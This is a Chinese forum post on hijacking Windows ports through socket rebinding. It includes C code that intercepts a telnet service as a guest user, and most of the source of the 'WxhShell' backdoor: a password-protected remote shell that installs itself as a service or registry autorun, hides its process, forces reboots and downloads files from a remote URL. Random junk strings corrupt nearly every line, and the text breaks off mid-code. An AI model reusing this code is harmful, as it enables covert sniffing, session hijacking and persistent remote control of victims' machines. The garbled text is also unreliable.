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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #8f"}>U9.,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); gqdB!l4  
Pv-V7`{  
  saddr.sin_family = AF_INET; lzy$.H"W  
DET!br'z5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); _ K+V?-=  
0HJqsSZ$mW  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Go+xL/f  
UE,~_hp  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ~R?dDL  
9Oo*8wvGG  
  这意味着什么?意味着可以进行如下的攻击: 8P<UO  
9MtJo.A  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 /IJ9_To  
{8Jk=)(md  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) <#p|z`N  
-KwL9J4u  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 SeZT4y*=  
G E~(N N  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  &iND&>?  
4}8+)Pd  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 -m'3L7:  
a,57`Ks+n<  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 $|cp;~ 1  
&Rl3y\ r  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 enbN0  
7z&adkG:  
  #include 'q};L6  
  #include F%_,]^ n[  
  #include Z:o 86~su  
  #include    @maZlw1q  
  DWORD WINAPI ClientThread(LPVOID lpParam);   IQlw 914  
  int main() 3dxnh,]&@  
  { yrE,,N%I  
  WORD wVersionRequested; F'UguC">  
  DWORD ret; Dmm r]~  
  WSADATA wsaData; ,+NE:_  
  BOOL val; tgvpf /cQ  
  SOCKADDR_IN saddr; & GzhcW~  
  SOCKADDR_IN scaddr; @RoRNat  
  int err; csFJ5  
  SOCKET s; WJY4>7}{B@  
  SOCKET sc; R%)2(\  
  int caddsize; iA%' ;V  
  HANDLE mt; @!&Jgg53G  
  DWORD tid;   #lyM+.T  
  wVersionRequested = MAKEWORD( 2, 2 ); A"BtVy[[9  
  err = WSAStartup( wVersionRequested, &wsaData ); tJ h3$K\  
  if ( err != 0 ) { v/aPiFlw  
  printf("error!WSAStartup failed!\n"); T[4[/n> i  
  return -1; ){Ciu[h  
  } 38*'8=Y#>  
  saddr.sin_family = AF_INET; $&xuVBs   
   '?`@7Eol  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 u1pc5 Y{  
E*r  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); @tE&<[e  
  saddr.sin_port = htons(23); Rg8m4xw  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aJy>  
  { 38w.sceaT  
  printf("error!socket failed!\n"); <wUD  
  return -1; (?!(0Ywbg  
  } HeT6Dv  
  val = TRUE; /jjW/ lr  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 o%/-5-  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ]{Mci]H6T  
  { <uBhi4  
  printf("error!setsockopt failed!\n"); 2|0Qk&  
  return -1; G.-h=DT]  
  } q:2aPfo&  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; GCP{Z]u  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 SLQ\Y%F  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 SG dfhno;  
y~== waZw  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) xs2,t*  
  { S+) l[0  
  ret=GetLastError(); YM #  
  printf("error!bind failed!\n"); Qq,i  
  return -1; zp7V\W; &  
  } Sc;iAi (  
  listen(s,2); 3~[`[4n^  
  while(1) p@?7^nIR*u  
  { ,2 zt.aqB  
  caddsize = sizeof(scaddr); <&qpl0U)Y  
  //接受连接请求 laUu"cS  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 3bbp>7V!  
  if(sc!=INVALID_SOCKET) ;Pol#0_(  
  { E3 ~,+68U  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~q0I7M  
  if(mt==NULL) ?1GY%-  
  { ^l Hb&\X  
  printf("Thread Creat Failed!\n"); 'GEBxNH:  
  break; ;;EDN45  
  } Qqd6.F  
  } pP|,7c5  
  CloseHandle(mt); -Z:]<;qU  
  }  /6+1{p  
  closesocket(s); w)45SZ.  
  WSACleanup(); B#HV20\?v  
  return 0; +V)qep"  
  }   eV[`P&j_C  
  DWORD WINAPI ClientThread(LPVOID lpParam) P'a0CE%  
  { Wmzq  
  SOCKET ss = (SOCKET)lpParam; !1ML%}vvB,  
  SOCKET sc; cZNi~  
  unsigned char buf[4096]; pwJ'3NbS  
  SOCKADDR_IN saddr; AddGB^7yl  
  long num; :y=!{J<  
  DWORD val; k_,MoDz  
  DWORD ret; 5h_<R!jA  
  //如果是隐藏端口应用的话,可以在此处加一些判断 [leW/2i  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Um]p&phVL  
  saddr.sin_family = AF_INET; H7{Q@D8  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); a$w},= `E  
  saddr.sin_port = htons(23); lp,\]]  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) El~-M`Gf  
  { ]vm\3=@}9  
  printf("error!socket failed!\n"); W[@i;f^g  
  return -1; Gs+\D0o!  
  } ANckv|&'v  
  val = 100; 4rI:1 yGt@  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `@h:_d  
  { m_cO<LB  
  ret = GetLastError();  DZ^=*.  
  return -1; X Y~;)<s_  
  } .qSBh hH\  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 7SBM^r}  
  { ?QGmoQ)  
  ret = GetLastError(); D`~JbKV5@^  
  return -1; d!`lsh@tF  
  } ~_'0]P\  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y.q>EUSH  
  { _ e6a8  
  printf("error!socket connect failed!\n"); >R(8/#|E  
  closesocket(sc); \M7I&~V  
  closesocket(ss); }ppVR$7]0  
  return -1; *Wzwbwg  
  } >4,{6<|  
  while(1) %PzQ\c  
  { 'nMApPl  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 A^pu  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 p?;-!TUv  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ;_iPm?Y8  
  num = recv(ss,buf,4096,0); -<_7\09  
  if(num>0) 5d+<EF+N  
  send(sc,buf,num,0); 4_tR9w"  
  else if(num==0) g]za"U|g  
  break; 0Qm"n6NQ  
  num = recv(sc,buf,4096,0); K>kLUcC7Z  
  if(num>0) vK(I3db !  
  send(ss,buf,num,0); J2r1=5HS  
  else if(num==0) Yrpxy.1=F5  
  break; cFLd)mt/  
  } 4GVNw!V  
  closesocket(ss); $'^&\U~?  
  closesocket(sc); kGm:VYf%  
  return 0 ; R8tF/dx>7  
  } l<TIG3 bs  
K'NcTw#f  
aM), M]m[  
========================================================== W}>=JoN^J  
i`+B4I8[  
下边附上一个代码,,WXhSHELL ,*dzJT$k  
F+Z2U/'a  
========================================================== gA_krK ,Z  
vVAb'`ysv  
#include "stdafx.h" jPnO@ H1  
z!:'V]  
#include <stdio.h> M`~!u/D7  
#include <string.h> sMH#BCC  
#include <windows.h> :lK4 db  
#include <winsock2.h> p'&*r2_ram  
#include <winsvc.h> ob'n{T+lZ  
#include <urlmon.h> a"QU:<-v  
=O,JAR"ug  
#pragma comment (lib, "Ws2_32.lib") R*yU<9Mm8  
#pragma comment (lib, "urlmon.lib") MHo1 lrZa+  
[h4o7  
#define MAX_USER   100 // 最大客户端连接数 k5@d! }#c  
#define BUF_SOCK   200 // sock buffer 8a9RML}G<  
#define KEY_BUFF   255 // 输入 buffer =<{ RX8  
%w7m\nw@  
#define REBOOT     0   // 重启 ZW*n /#GUC  
#define SHUTDOWN   1   // 关机 \X& C4#  
u?kD)5Nk  
#define DEF_PORT   5000 // 监听端口 rs:Q%V ^  
a=+T95ulDy  
#define REG_LEN     16   // 注册表键长度 $M':&i5`,  
#define SVC_LEN     80   // NT服务名长度 x5OC;OQc  
1kmQX+f  
// 从dll定义API O% -h&C3  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 7 jjU  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); y? "@v.  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); '&by3y5w-3  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); H0a -(  
=Y9\DeIZ  
// wxhshell配置信息 ANMYX18M  
struct WSCFG { 0KAj]5nvb  
  int ws_port;         // 监听端口 bD<qNqX$  
  char ws_passstr[REG_LEN]; // 口令 }E;F)=E  
  int ws_autoins;       // 安装标记, 1=yes 0=no S5_t1wqBJ  
  char ws_regname[REG_LEN]; // 注册表键名 6e.v&f7(  
  char ws_svcname[REG_LEN]; // 服务名 [9V]On  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 F}U5d^!2  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #dc1pfL!y{  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )p8I @E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no `5'2Hg+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" t\r:E2 O  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名   \&a.}t  
%jEY 3q  
}; <tbZj=*O/o  
$ D'^t(  
// default Wxhshell configuration WA.AFt  
struct WSCFG wscfg={DEF_PORT, aV>aiR=  
    "xuhuanlingzhe", '# z]M  
    1, RH(V^09[o  
    "Wxhshell", s-k_d<  
    "Wxhshell", z<pJYpxH  
            "WxhShell Service", \cQ .|S  
    "Wrsky Windows CmdShell Service", gWrAUPS[  
    "Please Input Your Password: ", s /%:dnij  
  1, n|i"S`  
  "http://www.wrsky.com/wxhshell.exe", :EZQ'3X  
  "Wxhshell.exe" ++8_fgM  
    }; by86zX  
1$ML#5+,  
// 消息定义模块 hazq#J!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; xd8 *<,Wj  
char *msg_ws_prompt="\n\r? for help\n\r#>"; )ofm_R'q*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #tjmWGo,  
char *msg_ws_ext="\n\rExit."; t`G)b&3_O  
char *msg_ws_end="\n\rQuit."; o>c ^aRZ{  
char *msg_ws_boot="\n\rReboot..."; #SkX@sl@  
char *msg_ws_poff="\n\rShutdown..."; TfRGA (+#  
char *msg_ws_down="\n\rSave to "; ^Y04qeRd  
T&xt` |  
char *msg_ws_err="\n\rErr!"; MJ\[Dt  
char *msg_ws_ok="\n\rOK!"; ?_q+&)4-o  
W f@t4(i  
char ExeFile[MAX_PATH]; ],lV}Mlg*  
int nUser = 0; z^W$%G  
HANDLE handles[MAX_USER]; 6)e5zKW!?  
int OsIsNt; ?znSx}t  
C+%K6/J(  
SERVICE_STATUS       serviceStatus; lIf(6nm@  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ^0tw%6:  
KJh,,xI>by  
// 函数声明 mm[SBiFO\  
int Install(void); 7@~tVxB;  
int Uninstall(void); R1ktj  
int DownloadFile(char *sURL, SOCKET wsh); .Q&rfH3  
int Boot(int flag); I,O#X)O|i  
void HideProc(void); /#S>sOg2xq  
int GetOsVer(void); 5j^NV&/_  
int Wxhshell(SOCKET wsl); C3VLV&wF  
void TalkWithClient(void *cs); :b/jNHJU  
int CmdShell(SOCKET sock); sR=/%pVN  
int StartFromService(void);  k0H#:c}  
int StartWxhshell(LPSTR lpCmdLine); <]G${y*;  
-<N&0F4|*  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); K`k'}(vj  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); nWWM2v  
4MW ]EQ-  
// 数据结构和表定义 uQeu4$k!  
SERVICE_TABLE_ENTRY DispatchTable[] = fgF;&(b  
{ Ec]|p6a3  
{wscfg.ws_svcname, NTServiceMain}, x<B'.3y  
{NULL, NULL} *'ZN:5%H  
}; x5Zrz<Y$w  
HIf{Z* mb  
// 自我安装 #^rU x.  
int Install(void) l@~LV}BI  
{ @CQb[!9C  
  char svExeFile[MAX_PATH]; rdJB*Rlkh  
  HKEY key; xiM&$<LpR  
  strcpy(svExeFile,ExeFile); G&9#*<F$c  
I&]G   
// 如果是win9x系统,修改注册表设为自启动 cd.brM  
if(!OsIsNt) { .%xzT J=!  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %_gho  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); >q7 %UK]&  
  RegCloseKey(key); 68t}w^=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { j+^L~, S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y,m2(V  
  RegCloseKey(key); H{fM%*w  
  return 0; 6)*xU|fU  
    } 8_we: 9A  
  } (P@Y36j>N  
} or?%-)  
else { 85]SC$  
:tGYs8UK  
// 如果是NT以上系统,安装为系统服务 61K"(r~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); < {ru|-9  
if (schSCManager!=0) K5"sj|d&  
{ 3|kgTB-  
  SC_HANDLE schService = CreateService Q9>U1]\  
  ( (f1M'w/OD  
  schSCManager, Fhj8lVvk  
  wscfg.ws_svcname, [}o~PN:sT(  
  wscfg.ws_svcdisp, 5lmO:G1  
  SERVICE_ALL_ACCESS, H\G{3.T.9  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , jqcz\n d  
  SERVICE_AUTO_START, /"#4T^7&  
  SERVICE_ERROR_NORMAL, (ku5WWJ  
  svExeFile, Z(Q2Ue;}&  
  NULL, \t.}-u<7{  
  NULL, 4j'd3WGpbN  
  NULL, ' UMFS  
  NULL, ]~c+'E`  
  NULL kE)!<1yy2  
  ); 8{I"q[GZ  
  if (schService!=0) rT7^-B*  
  { ?nFO:N<  
  CloseServiceHandle(schService); d*]Ew=^L  
  CloseServiceHandle(schSCManager); pyB~M9Bp/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); SGcBmjP  
  strcat(svExeFile,wscfg.ws_svcname); sQ1jrkm  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { d53 L65[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 4%ZM:/  
  RegCloseKey(key); 5cfA;(H  
  return 0; ,4@|1z{bfm  
    } XGs^rIf  
  } &Cro2|KZhG  
  CloseServiceHandle(schSCManager); zg}YGu|J  
} 1'KishHK=  
} YUkud2,j  
Tz-X o  
return 1; UuJjO^t  
} *^XbDg9  
m *X7T  
// 自我卸载 WS0JS'  
int Uninstall(void) TT}]wZ  
{ p2pAvlNoF  
  HKEY key; +]!lS7nsW  
\2!!L=&4G  
if(!OsIsNt) { ;#anZC;  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { :BZ0 7`9  
  RegDeleteValue(key,wscfg.ws_regname); )iLM]m   
  RegCloseKey(key); D-ADv3E,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y!Cc?$]_Y  
  RegDeleteValue(key,wscfg.ws_regname); ^^?q$1k6r*  
  RegCloseKey(key); l},NcPL`  
  return 0; <n0{7#PDqw  
  } yfe'>]7  
} %%}A|,  
} +1`t}hO  
else { 9`Q@'( m  
Wk7WK` >i  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); #G;X' BN  
if (schSCManager!=0) t9 F=^)s  
{ BGWAh2w6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); n9UKcN-  
  if (schService!=0) T[uDZYx  
  { O.+9,4A(  
  if(DeleteService(schService)!=0) { "^rNr_  
  CloseServiceHandle(schService); wyY*:{lZ  
  CloseServiceHandle(schSCManager); !~ rt:Z  
  return 0; 4u1KF:g  
  } sa#.l% #  
  CloseServiceHandle(schService); _j ;3-m  
  } r/r:oXK  
  CloseServiceHandle(schSCManager); O!F]^'!  
} *"9<TSU%m  
} _%pAlo_6  
?p^2Z6J'$  
return 1; 9f+RAN(  
} AFm1t2,+;  
Y 62r  
// 从指定url下载文件 uHM@h{r  
int DownloadFile(char *sURL, SOCKET wsh) >L>+2z  
{ D3]BTkMMS;  
  HRESULT hr; HD-Erop  
char seps[]= "/"; :c8^db`"  
char *token; m4/er539T  
char *file; Z85|I.mr  
char myURL[MAX_PATH]; La,QB3K/  
char myFILE[MAX_PATH]; <y=ovkM3  
?d-70pm  
strcpy(myURL,sURL); JLm @Ag  
  token=strtok(myURL,seps); "4 k-dj  
  while(token!=NULL) ?]!vRmZ;  
  { ^Kq|ID AP  
    file=token; ^ eh /HnJs  
  token=strtok(NULL,seps); 1y[B[\  
  } HOPqxI(k  
!: us!s  
GetCurrentDirectory(MAX_PATH,myFILE); CZ=0mWfF  
strcat(myFILE, "\\"); G\~^&BAC  
strcat(myFILE, file); +Ui_ O  
  send(wsh,myFILE,strlen(myFILE),0); 8vD3=yK%^  
send(wsh,"...",3,0); |4>:M\h  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); Mq\~`8V  
  if(hr==S_OK) '044Vm;/  
return 0; optBA3@e!  
else z +VV}:Q  
return 1; G[yI*/E;  
Zf:]Gq1  
} h)dRR_  
P_Uutn~  
// 系统电源模块 Mg? L-C  
int Boot(int flag) xFb3O|TC  
{ Rlw3!]5+2  
  HANDLE hToken; JP=ZUu  
  TOKEN_PRIVILEGES tkp; g(m_yXIx  
ElR)Gd_8  
  if(OsIsNt) { d-$_|G+  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]+%=@mWYs  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 77aX-e*=E  
    tkp.PrivilegeCount = 1; +{-]P\oc  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; F)ci9-b@  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %$9bce-fcG  
if(flag==REBOOT) { `XMM1y>V9>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) X"/~4\tJ"  
  return 0; @ss):FwA  
} J$[Q?8 ka  
else { nQLs<]h1  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) HeS'~Z$  
  return 0; rc{o?U'^-  
} |]ucHV  
  } KwFXB  
  else { h~UJCn zS  
if(flag==REBOOT) { u0]q`u/ T  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 04JT@s"o  
  return 0; zSgjp\  
} 2d&^Sp&11  
else { 0XIxwc0Iw  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) I'InZ0J2  
  return 0; AQh["1{yJ  
} H1T~u{8j}  
} K H}t:m+h  
uPDaq ]A  
return 1; 3$_2weZxYn  
} UR:n5V4  
ScJu_A f  
// win9x进程隐藏模块 6>B \|  
void HideProc(void) fPz=KoN  
{ `:5,e/5,  
Vy;_GfT$  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); T`Hw49  
  if ( hKernel != NULL ) +x]e-P%  
  { C*pLq5s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); uUS)#qM |  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); ^ f{qJ[,  
    FreeLibrary(hKernel); Q8Te'1Ln!  
  } l1RlYl5  
`|,tCM&-  
return; AM/lbMr  
} l<N?'&  
 -$R5  
// 获取操作系统版本 P"Rk?lL  
int GetOsVer(void) /Ynt<S9"  
{ UK:M:9  
  OSVERSIONINFO winfo; 0w}{(P;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); eT\p-4b  
  GetVersionEx(&winfo); l?/gW D^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jt%WPkY:  
  return 1; 8S=c^_PJ  
  else e7|d=W  
  return 0; 0UjyMEiK  
} Q)dT(Td9~  
%kW3hQ<$  
// 客户端句柄模块 qKs7WBRJy  
int Wxhshell(SOCKET wsl) 2'dG7lLu4  
{ K#)bjxz  
  SOCKET wsh; k4mTZ}6E  
  struct sockaddr_in client; =n)#!i  
  DWORD myID; rgn|24x  
{~1M  
  while(nUser<MAX_USER) ? ,V;f2c  
{ V*uEJ6T  
  int nSize=sizeof(client); ee\Gl?VN  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); YiNo#M91  
  if(wsh==INVALID_SOCKET) return 1; c#x7N9;"!  
i ~P91  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cJV!> 0ua  
if(handles[nUser]==0) ULrbQ}"cva  
  closesocket(wsh); %w@ig~vD'  
else ASM1Y]'Z  
  nUser++; rr4 _8Rf  
  } -W6V,+of  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); hhj ,rcsi  
J{x##p<F$  
  return 0; cuNq9y;[  
} TP^\e_k  
lmp R>@o"  
// 关闭 socket i59k"pNm  
void CloseIt(SOCKET wsh) U)b &zZc;  
{ T/ Ez*iQW  
closesocket(wsh); : n`0)g[(  
nUser--; 4Xr"d@2(  
ExitThread(0);  l58l  
} nu(eLUU  
K1 6s)S'  
// 客户端请求句柄 EK.c+Or,  
void TalkWithClient(void *cs) ;<~j)8  
{ m9cj7  
;pCG9  
  SOCKET wsh=(SOCKET)cs; fl!1AKSn@N  
  char pwd[SVC_LEN]; @OrXbG7&>#  
  char cmd[KEY_BUFF]; N~0$x,bR  
char chr[1]; GZ.?MnG  
int i,j; su%Z{f)#  
Ic_tc  
  while (nUser < MAX_USER) { 1=- X<M75  
ap{{(y&R  
if(wscfg.ws_passstr) { H|x k${R`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); X.:_"+I;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #d$d&W~gE  
  //ZeroMemory(pwd,KEY_BUFF); F ^[M  
      i=0; <w%DyRFw3  
  while(i<SVC_LEN) { c|3h|  
Dt (:u,%  
  // 设置超时 s2 wwmtUCN  
  fd_set FdRead; _{3k+DQ  
  struct timeval TimeOut; .v$ue`  
  FD_ZERO(&FdRead); <w%Yq?^  
  FD_SET(wsh,&FdRead); sCL/pb]  
  TimeOut.tv_sec=8; Yoj~|qL  
  TimeOut.tv_usec=0; 18J.vcP  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); JJ*0M(GG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); XC 57];-  
U8Cw7u2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); pC55Ec<  
  pwd=chr[0]; lxr@[VQ  
  if(chr[0]==0xd || chr[0]==0xa) { rZb_1E<  
  pwd=0; l6yB_ M  
  break; `W D*Q-&n  
  } @m }rQT  
  i++; 5I wX\  
    } `*|LI  
$Cut  
  // 如果是非法用户,关闭 socket ]5aux >.n  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Z&BM%.NZJ  
} }u38:(^`ai  
alWx=+d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); !Q<8c =f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Fwg#d[:u  
mw2rSUI{  
while(1) { ZY~zpC_  
_D!M nTK  
  ZeroMemory(cmd,KEY_BUFF); (mu{~@Hw  
kJVM3F%  
      // 自动支持客户端 telnet标准   zlC^  
  j=0; la!1[VeL  
  while(j<KEY_BUFF) { 0W!V V=j<}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VGkW3Nt0  
  cmd[j]=chr[0]; hXj* {vT  
  if(chr[0]==0xa || chr[0]==0xd) { >Lo6='G  
  cmd[j]=0; 7r:nMPX  
  break; 6C@0[Q\ER  
  } 8HHgN`_  
  j++; ksxO<Y  
    } 'Hcd&3a  
 oaH+c9v  
  // 下载文件 !W(/Y9g#  
  if(strstr(cmd,"http://")) { e2,<,~_K6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); \emT:Frb  
  if(DownloadFile(cmd,wsh)) ;D %5 nnr  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [)T$91 6I  
  else 7 UB8N vo  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i2`.#YJ&v  
  } R.^Bxi-UG:  
  else { P\Pc/[ Z7  
~2;&pZ$  
    switch(cmd[0]) { ,.1&Ff)S  
  S5YDS|K  
  // 帮助 A`+(VzZgJ  
  case '?': { 0KNH=;d}  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Sm~? zU[k/  
    break; WVBE>TB  
  } 64IeCAMVo  
  // 安装 }V93~>  
  case 'i': { XPR:_  
    if(Install()) [:/7OM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); a78;\{&L'  
    else &@`H^8  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3P=Eb!qtdD  
    break; ba8-XA_~U  
    } =1uj1.h  
  // 卸载 qHcY 2LV  
  case 'r': { q? gQ  
    if(Uninstall()) *NX*/(Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *$*nY [/5  
    else ~CjmYP'o  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #lLn='4  
    break; 4Tbi%vF{  
    } q=j/s4~  
  // 显示 wxhshell 所在路径 @et3}-c  
  case 'p': { -jklH/gF\%  
    char svExeFile[MAX_PATH]; ^OGH5@"  
    strcpy(svExeFile,"\n\r"); T`(;;%  
      strcat(svExeFile,ExeFile); SIyS.!k>  
        send(wsh,svExeFile,strlen(svExeFile),0); l{%Op\  
    break; $6]x,Ct  
    } m+G0<E%  
  // 重启  9\W5   
  case 'b': { ~-o^eI4_  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s OrY^cY;  
    if(Boot(REBOOT)) ~ 33@H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t9=|* =;9)  
    else { }I'>r(K  
    closesocket(wsh); q>Ar.5&M_  
    ExitThread(0); 55jY` b .  
    } !:!@dC%8_  
    break; ~O7cUsAi'  
    } da7x 1n$D  
  // 关机  ]pucv!  
